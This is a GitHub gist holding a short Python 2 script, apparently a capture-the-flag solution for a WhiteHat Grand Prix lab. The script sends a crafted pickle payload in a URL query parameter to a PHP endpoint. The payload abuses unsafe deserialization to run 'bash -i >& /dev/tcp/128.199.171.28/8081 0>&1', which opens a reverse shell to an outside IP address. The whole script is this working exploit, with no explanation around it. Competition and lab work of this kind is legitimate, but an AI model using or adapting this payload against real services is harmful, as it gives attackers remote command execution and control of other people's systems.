Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created October 28, 2015 02:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/c168c15919a3203acfe2 to your computer and use it in GitHub Desktop.
Save peternguyen93/c168c15919a3203acfe2 to your computer and use it in GitHub Desktop.
import urllib, urllib2
import pickle
url = 'http://lab13.grandprix.whitehatvn.com/b3acec105de421e136aad4024ee45b63.php?data='
shell = "cos\nsystem\n(S'bash -i >& /dev/tcp/128.199.171.28/8081 0>&1'\ntR."
tmp = url + urllib.quote_plus(shell)
req = urllib2.urlopen(tmp)
data = req.read()
print data
req.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment